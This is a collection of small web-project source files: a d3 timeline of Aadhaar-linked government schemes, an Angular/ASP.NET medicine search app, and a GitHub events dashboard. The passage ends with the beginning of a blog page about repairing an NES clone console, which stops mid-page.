(NHM), Horticulture Mission for North East & Himalayan States (HMNEH), National Agroforestry & Bamboo Mission (NABM).", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174731.pdf" }, { "scheme": "Agri-Clinics and Agri-Business Centres (AC&ABC)", "ministry": "MINISTRY OF AGRICULTURE AND FARMERS WELFARE", "notification": new Date(2017,2,22), "deadline_to_enroll": new Date(2017,2,31), "desc": "The centres provide paid services for enhancement of agriculture production and income of farmers. Trainees or entrepreneurs enrolled in the same require an Aadhaar in all states and union territories, except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174914.pdf" }, { "scheme": "Dr Ambedkar Scheme of Interest Subsidy on educational loans for Overseas Studies for OBC and EBC Students;", "ministry": "Ministry of social justice and empowerment", "notification": new Date(2017,2,1), "deadline_to_enroll": new Date(2017,5,30), "desc": "", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174470.pdf", 'type':'subsidy' }, { "scheme": "Operation of certain schemes through eligible NGOs", "ministry": "Ministry of social justice and empowerment", "notification": new Date(2017,2,1), "deadline_to_enroll": new Date(2017,5,30), "desc": "The schemes provide assistance to NGOs working for the welfare of the scheduled castes/other backward classes and those working for the prevention of alcoholism and substance abuse. It requires Aadhaar in all states except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174468.pdf" }, { "scheme": "Scholarships for students whose parents work in certain professions", "ministry": "Ministry of Labour and Employment", "notification": new Date(2017,1,27), "deadline_to_enroll": 'NA', "desc": "Provides scholarships to the children of beedi workers, cine workers, iron-mangnese-chome ore workers and limestone and dolmite workers. It also provides a stipend to children in special schools under the National Child Labour Project. The Aadhaar requirement is valid in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174461.pdf", type: 'scholarship' }, { "scheme": "Mobile phone connection", "ministry": "", "notification": new Date(2017,2,23), "deadline_to_enroll": new Date(2018,1,6), "desc": "", "welfare":'N', "link": "https://scroll.in/latest/832705/all-mobile-phone-numbers-must-be-linked-to-aadhaar-by-february-2018-says-centre" }, { "scheme": "Schemes to aid entrepreneurs from a SC background", "ministry": "Ministry of social justice and empowerment", "notification": new Date(2017,2,1), "deadline_to_enroll": new Date(2017,5,30), "desc": "Aadhaar is mandatory in all states and union territories except Assam, Meghalaya, Jammu and Kashmir for this scheme.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174470.pdf" }, { "scheme": "Self Employment Scheme for Rehabilitation of Manual Scavengers (SRMS)", "ministry": "Ministry of social justice and empowerment", "notification": new Date(2017,2,17), "deadline_to_enroll": new Date(2017,5,30), "desc": "The scheme provides grants to National Safai Karamcharis Finance and Development Corporation. An Aadhaar number is mandatory to avail grants in all states and union territories, except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174851.pdf" }, { "scheme": "National Handicraft Development Programme (NHDP)", "ministry": "Ministry of textiles", "notification": new Date(2017,2,29), "deadline_to_enroll": new Date(2017,2,31), "desc": "Various schemes under the programme provide benefits and financial benefits to artisans. An Aadhaar number is mandatory for this programme in all states, except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/175048.pdf" }, { "scheme": "State Extension Programmes for Extension Reforms under ATMA", "ministry": "MINISTRY OF AGRICULTURE AND FARMERS WELFARE", "notification": new Date(2017,2,31), "deadline_to_enroll": new Date(2017,2,31), "desc": "The scheme provides financial assistance in the form of awards to farmers and annual contingency to Farmer Friends.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/175243.pdf" } ]<file_sep>/webpack.config.js var ExtractTextPlugin = require("extract-text-webpack-plugin"); module.exports = { entry: "./js/app.js", output: { filename: "./js/bundle.js" }, devtool: "source-map", module: { loaders: [{ test: /\.scss$/, loader: ExtractTextPlugin.extract(["css?sourceMap", "sass?sourceMap"]) }] }, plugins: [ new ExtractTextPlugin("./css/styles.css") ], watch: true }<file_sep>/js/app.js require('../css/styles.scss') var d3 = require('d3') var $ = require('jquery') var _ = require('underscore') data.forEach(function(d){ if (d.deadline_to_enroll!='NA'){ d.difference = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) } else{ d.difference = 10000000000000000 } }) var total_things = data.length, non_welfare = _.where(data,{welfare: 'N'}).length, welfare = _.where(data,{welfare: 'Y'}).length, employment = _.where(data,{type: 'employment'}).length, subsidy = _.where(data,{type: 'subsidy'}).length, scholarship = _.where(data,{type: 'scholarship'}).length $('.total-things').text(total_things) $('.non-welfare').text(non_welfare) $('.welfare').text(welfare) $('.employment').text(employment) $('.subsidy').text(subsidy) $('.scholarship').text(scholarship) sortedByNotification = _.sortBy(data,'notification').reverse() sortedByDeadline = _.sortBy(data,function(d){ if (d.deadline_to_enroll!='NA'){ return d.deadline_to_enroll } else { return -1 } }).reverse() data = _.sortBy(data,'difference') var date_format_axis = d3.timeFormat("%d %b"); var date_format_axis_w_yr = d3.timeFormat("%d %b %Y"); var xScale = d3.scaleTime() .domain([new Date(2017, 0, 1), new Date(2018, 2, 31)]) .range([0,1]) var yScale = d3.scaleBand() .domain(Array.apply(null, {length: data.length}).map(Number.call, Number)) .range([0,1]) appendThings(sortedByNotification) function appendThings(selected_data){ lines = d3.select('.interactive') .append('div') .attr('class','line-group') .selectAll('.group') .data(selected_data, function(d){ return d.scheme; }) .enter() .append('div') .attr('class',function(d,i){return 'group g-'+sortedByNotification.indexOf(d)}) .on('click',expandFunc) lines.style('opacity',0) linesg1 = lines.append('div') .attr('class','panel panel-top') linesg1.append('h2') .attr('class','scheme-name') .text(function(d){return d.scheme}) linesg1.append('h3') .attr('class','ministry-name') .text(function(d){return toTitleCase(d.ministry)}) expand = lines.append('div') .attr('class','panel panel-expand') .html('<i class="fa fa-caret-down" aria-hidden="true"></i>') expand.append('span') .attr('class','det-ins') .text('show info') linesg2 = lines.append('div') .attr('class','panel panel-bottom') chart = linesg2.append('div') .attr('class','chart') chart.append('div') .attr('class','chart-back c-line') .style('width', '100%') chart.append('div') .attr('class','chart-line c-line') .style('left',function(d){ return (xScale(d.notification)/(xScale(new Date(2018, 2, 31))))*100+"%" }) .style('width',function(d){ if (d.deadline_to_enroll!="NA"){ return (xScale(d.deadline_to_enroll)-xScale(d.notification))/(xScale(new Date(2018, 2, 31)))*100+"%" } else { return '0%' } }) chart.append('div') .attr('class','dot notification') .style('left',function(d){ return (xScale(d.notification)/(xScale(new Date(2018, 2, 31))))*100+"%" }) chart.append('div') .attr('class','dot deadline') .style('left',function(d){ if (d.deadline_to_enroll!='NA'){ return (xScale(d.deadline_to_enroll)/(xScale(new Date(2018, 2, 31))))*100+"%" } else { return '0%' } }) .style('opacity',function(d){ if (d.deadline_to_enroll=='NA'){ return 0 } }) chart.append('p') .attr('class','diff') .text(function(d){ if (d.deadline_to_enroll!='NA'){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.difference<0){ return (d.difference*-1) + ' days ago' } else { return (d.difference) + ' days' } } else { return 'Deadline not specified' } }) .style('left',function(d){ if (d.deadline_to_enroll!='NA'){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.difference<0){ return (xScale(d.notification)/(xScale(new Date(2018, 2, 31))))*100+"%" } else { return (xScale(d.deadline_to_enroll)/(xScale(new Date(2018, 2, 31))))*100+"%" } } else { return (xScale(d.notification)/(xScale(new Date(2018, 2, 31))))*100+"%" } }) .style('font-size',function(d){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.deadline_to_enroll=='NA' || d.difference < 0){ return '12px' } }) .style('width',function(d){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.deadline_to_enroll=='NA' || d.difference < 0){ return '80px' } }) chart.append('p') .attr('class','annotation ann-info notif') .text(function(d){ if (date_format_axis(d.deadline_to_enroll) != date_format_axis(d.notification)) { return 'Notification date' } else { return 'Notification date and deadline' } }) .style('left',function(d){ return (xScale(d.notification)/(xScale(new Date(2018, 2, 31))))*100+"%" }) .style('text-align',function(d){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.difference<0){ return 'left' } }) .style('margin-left',function(d){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.difference<0){ return '0' } }) chart.append('p') .attr('class','annotation ann-info dd') .text(function(d){ if (d.deadline_to_enroll!='NA'){ if (date_format_axis(d.deadline_to_enroll) != date_format_axis(d.notification)) { return 'Deadline to enroll' } else { return '' } } }) .style('left',function(d){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) return (xScale(d.deadline_to_enroll)/(xScale(new Date(2018, 2, 31))))*100+"%" }) .style('text-align',function(d){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.difference<0){ return 'right' } }) .style('margin-left',function(d){ // var diff = (d.deadline_to_enroll-d.notification)/(1000 * 3600 * 24) if (d.difference<0){ return '-75px' } }) chart.append('p') .attr('class','annotation ann-notif') .text(function(d,i){ if (i==0){ return date_format_axis_w_yr(d.notification) } else { return date_format_axis(d.notification) } }) .style('left',function(d){ return (xScale(d.notification)/(xScale(new Date(2018, 2, 31))))*100+"%" }) .style('text-align',function(d){ if (d.difference<0){ return 'left' } }) .style('margin-left',function(d){ if (d.difference<0){ return '-10px' } }) chart.append('p') .attr('class','annotation ann-deadline') .text(function(d){ if (d.deadline_to_enroll!='NA'){ if ((d.deadline_to_enroll).getYear()>117){ return date_format_axis_w_yr(d.deadline_to_enroll) } else { if (date_format_axis(d.deadline_to_enroll) != date_format_axis(d.notification)) { return date_format_axis(d.deadline_to_enroll) } else { return '' } } } }) .style('left',function(d){ return (xScale(d.deadline_to_enroll)/(xScale(new Date(2018, 2, 31))))*100+"%" }) .style('text-align',function(d){ if (d.difference<0){ return 'left' } }) .style('margin-left',function(d){ if (d.difference<0){ return '-30px' } }) lines.append('p') .attr('class','scheme-desc') .html(function(d){ if (d.link){ return d.desc + " <a target = '_blank' href='"+d.link+"'>Link to official notification</a>" } else { return d.desc } }) .style('height',0) lines.transition() .duration(1200) .style('opacity',1) } function expandFunc(d){ var growDiv = $(this).find('.scheme-desc')[0] if ($(this).hasClass('show')){ $(this).removeClass('show') d3.select(growDiv) .transition() .duration(500) .style('height',0+'px') expand.select('span') .text('show info') } else { $(this).addClass('show') d3.select(growDiv) .transition() .duration(500) .style('height',growDiv.scrollHeight+10+'px') expand.select('span') .text('hide info') } } $('.copy.intro span').on('click',function(){ $('.copy.intro span').removeClass('active') $(this).addClass('active') if ($(this).hasClass('notification')){ d3.selectAll('.group') .transition() .duration(300) .style('opacity',0) d3.select('.line-group') .transition() .delay(400) .remove() setTimeout(function(){ appendThings(sortedByNotification) },450) } else if ($(this).hasClass('time')){ d3.selectAll('.group') .transition() .duration(300) .style('opacity',0) d3.select('.line-group') .transition() .delay(400) .remove() setTimeout(function(){ appendThings(data) },450) } else { d3.selectAll('.group') .transition() .duration(300) .style('opacity',0) d3.select('.line-group') .transition() .delay(400) .remove() setTimeout(function(){ appendThings(sortedByDeadline) },450) } }) // function group function toTitleCase(str) { return str.replace(/\w\S*/g, function(txt){ return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase(); }); }<file_sep>/README.md aadhar timeline ================== This project uses d3 v4 and webpack. ---- Open a console session in the project folder: Get project for first time ``` git clone [repo url] ``` -OR- Get latest version of code ``` git pull ``` If you are cloning for the first time, run `npm install`. That will download your dependencies. Launch the dev environment ``` npm run dev ``` --- ### DO WORK *control + c to quit working* --- Commit changes ``` git add . git status git commit -m "[describe work]" ``` Make changes available to everyone ``` git push ``` --- Also: running the code below will build for production ``` npm run build ```
75ca9aa693d610a9b205da75f73ce75a8774e477
[ "JavaScript", "Markdown" ]
4
JavaScript
HindustanTimesLabs/aadhaar
5803b80aba360abf1f37cffec89e7ded2827a883
be67c1949e0ea7b078928831086f36288ebf97ac
refs/heads/master
<repo_name>Predhenapl1834/SearchengineWebApi<file_sep>/src/app/medicinesearch/medicinesearch.component.ts import { Component, OnInit } from '@angular/core'; import { Observable } from 'rxjs'; import { Searchmedicine } from '../searchmedicine'; import { SearchmedicineService } from '../searchmedicine.service'; import { Router } from '@angular/router'; @Component({ selector: 'app-medicinesearch', templateUrl: './medicinesearch.component.html', styleUrls: ['./medicinesearch.component.scss'] }) export class MedicinesearchComponent implements OnInit { medicine:Observable<Searchmedicine[]> medicines:Observable<Searchmedicine[]> constructor(private SearchmedicineService: SearchmedicineService , private router: Router) { } ngOnInit() { this.reloadData(); } reloadData() { this.medicine = this.SearchmedicineService.getMedicineList(); this.medicines = this.SearchmedicineService.getMedicineList(); } search(medName:string){ if(medName==""||medName==null) { this.medicines=this.SearchmedicineService.getMedicineList(); } else{ this.medicines=this.SearchmedicineService.searchMedicine(medName); } } } <file_sep>/src/app/searchmedicine.ts export class Searchmedicine { medId:number; medName:string; medPrice:number; medDescription:string; medExpiryDate:Date; } <file_sep>/Searchengine/Controllers/MedicineController.cs using System; using System.Collections.Generic; using System.Data; using System.Data.Entity; using System.Data.Entity.Infrastructure; using System.Linq; using System.Net; using System.Net.Http; using System.Web.Http; using System.Web.Http.Description; using Searchengine.Models; namespace Searchengine.Controllers { public class MedicineController : ApiController { private SearchEngineDB db = new SearchEngineDB(); // GET: api/Medicine public IQueryable<Medicine> GetMedicines() { return db.Medicines; } public List<Medicine>GetMedicine(string name) { List<Medicine> med = db.Medicines.Where(x => x.medName.StartsWith(name)).ToList(); return med; } // GET: api/Medicine/5 [ResponseType(typeof(Medicine))] public IHttpActionResult GetMedicine(int id) { Medicine medicine = db.Medicines.Find(id); if (medicine == null) { return NotFound(); } return Ok(medicine); } // PUT: api/Medicine/5 [ResponseType(typeof(void))] public IHttpActionResult PutMedicine(int id, Medicine medicine) { if (id != medicine.medId) { return BadRequest(); } db.Entry(medicine).State = EntityState.Modified; try { db.SaveChanges(); } catch (DbUpdateConcurrencyException) { if (!MedicineExists(id)) { return NotFound(); } else { throw; } } return StatusCode(HttpStatusCode.NoContent); } // POST: api/Medicine [ResponseType(typeof(Medicine))] public IHttpActionResult PostMedicine(Medicine medicine) { db.Medicines.Add(medicine); db.SaveChanges(); return CreatedAtRoute("DefaultApi", new { id = medicine.medId }, medicine); } // DELETE: api/Medicine/5 [ResponseType(typeof(Medicine))] public IHttpActionResult DeleteMedicine(int id) { Medicine medicine = db.Medicines.Find(id); if (medicine == null) { return NotFound(); } db.Medicines.Remove(medicine); db.SaveChanges(); return Ok(medicine); } protected override void Dispose(bool disposing) { if (disposing) { db.Dispose(); } base.Dispose(disposing); } private bool MedicineExists(int id) { return db.Medicines.Count(e => e.medId == id) > 0; } } } <file_sep>/src/app/searchmedicine.service.ts import { Injectable } from '@angular/core'; import { Observable, from } from 'rxjs'; import { HttpClient } from '@angular/common/http'; @Injectable({ providedIn: 'root' }) export class SearchmedicineService { private baseUrl = 'http://localhost:15415//api'; constructor(private http: HttpClient) { } getMedicineList(): Observable<any> { return this.http.get(this.baseUrl + '/Medicine'); } getMedicine(id: number):Observable<any> { return this.http.get(this.baseUrl+'/Medicine'+id); } searchMedicine(name:string): Observable<any>{ return this.http.get(this.baseUrl+'/Medicine?name=' + name); } }
fa25484383239afe14e5d6ef458d5b639bbf0e61
[ "C#", "TypeScript" ]
4
TypeScript
Predhenapl1834/SearchengineWebApi
c10d7ece574f090e3418107f3fc377637090b16b
dc246dd34a728c1f409e08fdf6b10fe146061c39
refs/heads/master
<repo_name>NickRCasteen/NickRCasteen.github.io<file_sep>/static/js/github_script.js //> //>> //******************************************************************************************************* //%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [ FEED REFRESH ] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% //******************************************************************************************************* function refresh() { //This code is the first to be run. It'll build up the DOM and populate //our first group of cards. After that, it'll be run every time the client //hits the 'refresh button'. resetBody(); var request = new XMLHttpRequest(); const table = document.getElementById('sorter_tab'); //the id for our HTML table request.open('GET', 'https://api.github.com/events', true); //HERE IT COMES. request.onload = function () { // It begins var data = JSON.parse(this.response); if (request.status >= 200 && request.status < 400) { //Set up variables. var col_count = 0; //The counter for columns in the grid. var tempor = null; //This is an object that stores <tr> elements var num_columns = 3; //The number of columns we want for our cards. data.forEach(event => { //Every loop counts columns up by 1 //Every 3rd column places a new <tr> in the table. //Since each new <tr> is loaded into the same 'tempor' var //then each card can safely be appended inside without worry //as to where any other cards are in the table. Rows completed //are inaccessable. if (col_count%num_columns === 0) { //Create and reference a new <tr> in tempor tempor = document.createElement('tr'); //Apply new <tr> to the table table.appendChild(tempor); } //HERE IS THE MODAL. This will display 'more information'. modalCreation(event); //HERE IS THE PARENT BUTTON. It's given the card class and the ability //to toggle modals. cardCreation(event, tempor); //Column count +1. The col_count%num_columns limits the //number of columns to num_columns col_count+=1; }); } else { console.log('error'); } }; request.send(); } //> //>> //******************************************************************************************************* //%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [ MODAL CREATION ] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% //******************************************************************************************************* function modalCreation(event) { //>> COMPONENT CREATION << // :: MODAL NESTED DIVS :: const modal = document.createElement('div'); const modal_diag = document.createElement('div'); const modal_cont = document.createElement('div'); const modal_header = document.createElement('div'); const modal_body = document.createElement('div'); // :: MODAL TEXT :: const mh4 = document.createElement('h4'); const mh42 = document.createElement('h4'); const mp = document.createElement('p'); // :: MODAL VISUAL FLUFF :: const avi = document.createElement('img'); const orgdesc = document.createElement('p'); //MAIN MODAL ATTRIBUTE SET modal.setAttribute('id', `${event.id}`); modal.setAttribute('class', 'modal fade'); modal.setAttribute('tabindex', '-1'); modal.setAttribute('role', 'dialog'); modal.setAttribute('aria-labelledby', `h_info${event.id}`); modal.setAttribute('aria-hidden', 'true'); //CHILD ATTRIBUTE SET modal_diag.setAttribute('class', 'modal-dialog'); //GRANDCHILD ATTRIBUTE SET modal_cont.setAttribute('class', 'modal-content'); //G.GRANDCHILD #1 ATTRIBUTE SET modal_header.setAttribute('class', 'modal-header'); modal_header.setAttribute('id', `h_info${event.id}`); //G.GRANDCHILD #2 ATTRIBUTE SET modal_body.setAttribute('class', 'modal-body'); //TEXT ATTRIBUTE SET mh4.setAttribute('class', 'modal-title'); mh4.textContent = `${event.actor.display_login}`; //TEXT ATTRIBUTE SET mh42.textContent = `${event.repo.name}`; mh42.setAttribute("class", "repository"); //TEXT ATTRIBUTE SET - DATE var datetime_helper = new Date(event.created_at); var time_string = datetime_helper.toDateString(); time_string = time_string + " " + datetime_helper.getHours() + " : " + datetime_helper.getMinutes(); mp.innerHTML = `Public: ${event.public}<br>Event Created: ${time_string}<br>`; //====================================================================================== //VISUAL FLUFF: USER AVITAR ATTRIBUTE SET avi.setAttribute("src", `${event.actor.avatar_url}`); avi.setAttribute("width", "100vw"); avi.setAttribute("height", "100vw"); //VISUAL FLUFF: ORGANIZATION AVITAR ATTRIBUTE SET if(event.hasOwnProperty('org')) { //This code only executes if the JSON object actually has an 'org' key. Otherwise skip it. orgdesc.innerHTML = `<img src=${event.org.avatar_url} width="100vw" height="100vw">From the Oragnization of ${event.org.login}`; } //MODAL TREE ASSEMBLY //Stick to the body document.body.appendChild(modal); //Assemble the children modal.appendChild(modal_diag); modal_diag.appendChild(modal_cont); modal_cont.appendChild(modal_header); modal_cont.appendChild(modal_body); //Apply text + Organization fluff. If above code was skipped, orgdesc will just be empty modal_header.appendChild(orgdesc); modal_header.appendChild(mh4); modal_header.appendChild(mh42); modal_body.appendChild(mp); //Apply fluff modal_body.appendChild(avi); } //> //>> //******************************************************************************************************* //%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [ CARD CREATION ] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% //******************************************************************************************************* function cardCreation(event, row) { //ELEMENT CREATION const card = document.createElement('button'); const cell = document.createElement('td'); //Create a cell for the card to rest in the table. //CARD ATTRIBUTES SET card.setAttribute('class', 'card'); card.setAttribute('data-toggle', 'modal'); card.setAttribute('data-target', `#${event.id}`); //For id, every card needs a unique ID and needs it made dynamically. Every event //has a unique ID in the API's JSON, so we'll just use that. //HEADER TEXT const h1 = document.createElement('h4'); h1.textContent = `Nick (ME) `; h1.setAttribute("class", "gituser"); //HEADER 2 TEXT const h2 = document.createElement('h4'); //This is to cut down on the repo name, which can get crazy long. 27 char limit. var temp = event.repo.name temp = temp.split("/"); temp[0] = "NICK"; var fin = temp[0] + "/" +temp[1]; if(fin.length > 27) fin = fin.substring(0,27); h2.textContent = `${fin}`; h2.setAttribute("class", "repository"); //Both headers use a custom CSS class just to change text. //MAIN TEXT const h3 = document.createElement('h6'); h3.textContent = event.type; //+++ APPENDING +++ //This is where we place our card and its children right where they belong. row.appendChild(cell); cell.appendChild(card); card.appendChild(h1); card.appendChild(h2); card.appendChild(h3); } //> //>> //******************************************************************************************************* //%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [ BODY TAG RESET ] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% //******************************************************************************************************* function resetBody() { //The purpose of this code is to provide a quick and easy way to reset the body. //The modals are applied to the <body> tag, to keep them near the top of the DOM //tree. However, this also means that modals have the potential to build up //in the DOM. So, we apply this base HTML to the whole body to erase all traces //of cards and modals for every refresh. Anything about the main page should be //edited here. document.body.innerHTML = ` <header> <div class="container headercontainer"> <div class="jumbotron"> <h1>Github Event Dashboard</h1> <h2>A web application to show a feed of events on Github, via their REST API</h2> <button type="button" class="btn btn-default btn-lg" onclick='refresh()'> Refresh </button> </div> </div> </header> <div class="container" width = 60vw> <!-- THIS IS WHERE THE MODALS WILL GO--> <div class="row"> <div class="col-md-12"> <table align="center" id='sorter_tab'></table> </div> </div> </div> <footer> <div class="container footercontainer"> <div class="col-md-12"> <p class="copyright">Copyright &copy; <NAME> 2018.</p> </div> </div> </footer>`; }<file_sep>/static/js/test.js app = document.getElementById("test1"); const modal = document.createElement('div'); const modal_diag = document.createElement('div'); const modal_cont = document.createElement('div'); const modal_header = document.createElement('div'); const modal_body = document.createElement('div'); const mh4 = document.createElement('h4'); mh4.textContent = 'Try It Out'; const d2 = "userProfileLabel"; const d1 = "userProfile"; modal.setAttribute('id', `${d1}`); modal.setAttribute('class', 'modal'); modal.setAttribute('tabindex', '-1'); modal.setAttribute('role', 'dialog'); modal.setAttribute('aria-labelledby', `${d2}`); modal.setAttribute('aria-hidden', 'true'); modal_diag.setAttribute('class', 'modal-dialog'); //modal_diag.setAttribute('role', 'document'); modal_cont.setAttribute('class', 'modal-content'); modal_header.setAttribute('class', 'modal-header'); modal_header.setAttribute('id', `${d2}`); modal_body.setAttribute('class', 'modal-body'); mh4.setAttribute('class', 'modal-title'); document.body.appendChild(modal); modal.appendChild(modal_diag); modal_diag.appendChild(modal_cont); modal_cont.appendChild(modal_header); modal_cont.appendChild(modal_body); modal_header.appendChild(mh4); const card = document.createElement('button'); card.setAttribute('class', 'btn btn-primary'); card.setAttribute('data-toggle', 'modal'); card.setAttribute('data-target', `#${d1}`); card.innerHTML = "Go"; app.appendChild(card);<file_sep>/blog/2018/08/28/nes-clone-fix/index.html <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=0"><meta name="description" content="A blog for ongoing projects both professional and personal."><meta name="keywords" content="retro,hardware"><link href="/favicon.ico" rel="icon"><link href="http://fonts.googleapis.com/css?family=PT+Serif" rel="stylesheet" type="text/css"><link rel="stylesheet" type="text/css" href="/static/bower_components/sass-bootstrap/dist/css/bootstrap.min.css" media="all"><link rel="stylesheet" type="text/css" href="/static/css/style.min.css" media="all"><link rel="icon" type="image/png" href="/static/images/favicon-32x32.png" sizes="32x32"><link rel="icon" type="image/png" href="/static/images/favicon-16x16.png" sizes="16x16"><link rel="alternate" type="application/rss+xml" title="What&#x27;s Up, Nick? - feed" href="http://feeds.feedburner.com/MatthewDalysBlog"><title>NES Clone Fix - What&#x27;s Up, Nick?</title></head><body><header><div class="container headercontainer"><div class="jumbotron"><h1><a href="/">What&#x27;s Up, Nick?</a></h1><h2>A blog for ongoing projects both professional and personal.</h2></div></div><div class="container headercontainer"><nav class="navbar navbar-inverse navbar-static-top"><div class="navbar-header"><button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#header-nav"><span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span></button><div class="collapse navbar-collapse" id="header-nav"><ul class="nav navbar-nav"><li><a href="/" style="color:white">Home</a></li><li><a href="/blog/archives/" style="color:white">Archives</a></li><li><a href="/contact-me/" style="color:white">Contact Me</a></li><li><a href="/about/" style="color:white">About</a></li><li><a href="/rss.xml" style="color:white">RSS</a></li></ul><form action="http://www.google.com/search" method="GET" name="searchForm" id="searchForm" enctype="application/x-www-form-urlencoded" class="navbar-form navbar-right"><div class="form-group"><input type="hidden" id="sitesearch" value=""> <input id="search" type="search" name="q" results="0" placeholder="Search..." maxlength="200" autocomplete="off" class="form-control"><ul class="searchresults"></ul></div></form></div></div></nav></div></header><div class="container"><div class="row"><div class="col-md-8"><article class="post"><p class="date">28th August 2018 4:01 am</p><h1>NES Clone Fix</h1><p><img src="/static/images/retro_posts/NES_Fix/20180827_231459.jpg" alt="The Problem Children"></p><p>I’ve owned a Yobo NES Clone system since I was 16, it’s how I’ve played all my NES games I’ve collected over the years. One of my favorite games to play, unsurprisingly, is The Legend of Zelda. Even today it’s a mellow adventure in a quaint pixel world I can return to. Sadly, my gold cart LoZ game started to become harder to get to run, and eventually it wouldn’t run at all. No matter how much I adjusted the cart, it wouldn’t switch on.</p><p>Thus, I bought this second LoZ Cart. The grey colored re-release, since I figured I may as well have that version. The store that sold me the grey cart tested it in front of me and confirmed it to be a perfectly working cart. So I get home only to find the grey cart has the same error as my gold cart. Flick it on and my T.V reports no signal about 1 second later. My suspicions roused, I wondered if this was a problem with my NES, so I decided to break it open. It was a process I felt would be right at home being documented here.</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_231541.jpg" alt="The Faulty NES"></p><p>The system itself is rather small, much smaller than the first gen ‘VCR’ NES consoles. It’s also a top-loader, and like other top-loading NES consoles it has no lock-out functionality nor region-locking (Between PAL and NTSC, JP carts have a different pin layout at 60 pins instead of 72).</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_231641.jpg" alt="Broken Open"></p><p>Here’s the console broken open. As an aside, it annoys me when electronics hide their case screens under rubber feet, which this did. The rubber feet are so cheap I didn’t think I’d bother putting them back on.</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_231900.jpg" alt="Glue"></p><p>The craftsman ship is a little shoddy to say the least, thought I don’t imagine these things sell for 25$ because of quality. Glue is strewn about the system in place of proper solder, and it looks to be made up of 3 generic boards, as spaces for resistors and capacitors are marked on the boards with nothing inserted into the slots.</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_232334.jpg" alt="Pin Side"></p><p>Looking at the underside of the board it looks fairly standard, not a lot to see. It’s just a printed board that’s a bit dirty. There’s a lot of dirt and what looks to be corrosion.</p><p><img src="/static/images/retro_posts/NES_Fix/Collage.png" alt="A Grody System"></p><p>There’s a possibility corrosion could break a trace, though that’d more likely render the system totally inoperable, not just make select games not work. Of course, in the real world, physics can be a finicky thing. Would it be possible for a data line to be ever so slightly garbled such that it wouldn’t affect more simple games but in something like LoZ it causes problems? Probably not, though it’s still worth giving the boards a once-over with some q-tips and alcohol.</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_233046.jpg" alt="The CPU"></p><p>Wanting to get a better feel for the system, I needed to find where the CPU was. Where was the sound chip? RAM? The boards were bare save for a few resistors and capacitors. Looking at it, I think this black blob is where the CPU is housed, considering all the traces going into it. Most likely it houses <em>everything</em>, all in that tiny space. Makes you appreciate how far technology has come.</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_233158.jpg" alt="Something Stray"></p><p>That’s when I noticed something. One of the resistors on the board had a lead that had been soldered in but not snipped off. It was even touching one of the pins for the cartridge slot which possibly meant a short. Let that be a lesson as to why you should always snip your leads when you put a component into a board.</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_233521.jpg" alt="Test 1"></p><p>However, testing with the cart still produced the error, no video signal sent to the T.V. Not wanting to give up, I decided to break into the game cart itself to run some tests. The cart is secured with a special kind of screw, some call them ‘gamebit’ screws and others call them ‘security’ screws. Either way, they require a special kind of screwdriver I thankfully had on hand.</p><p><img src="/static/images/retro_posts/NES_Fix/20180827_235454.jpg" alt="The Screwdrivers"></p><p>So I got the cart opened and looked inside. I did some digging around the internet to find out what each of the chips were with (hopefully) a pin diagram. From the looks of things all the traces were nice and clean, no breaks.</p><p><img src="/static/images/retro_posts/NES_Fix/20180828_000018.jpg" alt="Diagram"></p><p>So, here’s a close-up of the game’s board. PRG ROM is connected to the CPU and holds the ‘game’ proper, so that’d be the most important part to test. Next there’s the MMC1A Mapper ASIC which was just for memory mapping tasks for the game. Something not working there would most certainly crash the game. Then there’s the ‘key’ chip, which was essentially the cart’s part of the old NES’s lockout chip handshake, essentially how the cart proved itself to be real. The last two chips I can’t really say. One of them is a 8K RAM chip to hold save games, backed up by the little watch battery you can see there. The other is a CHR ROM chip for storing graphics, meant to be hooked directly to the NES’s PPU.</p><p><img src="/static/images/retro_posts/NES_Fix/20180828_030707.jpg" alt="Test 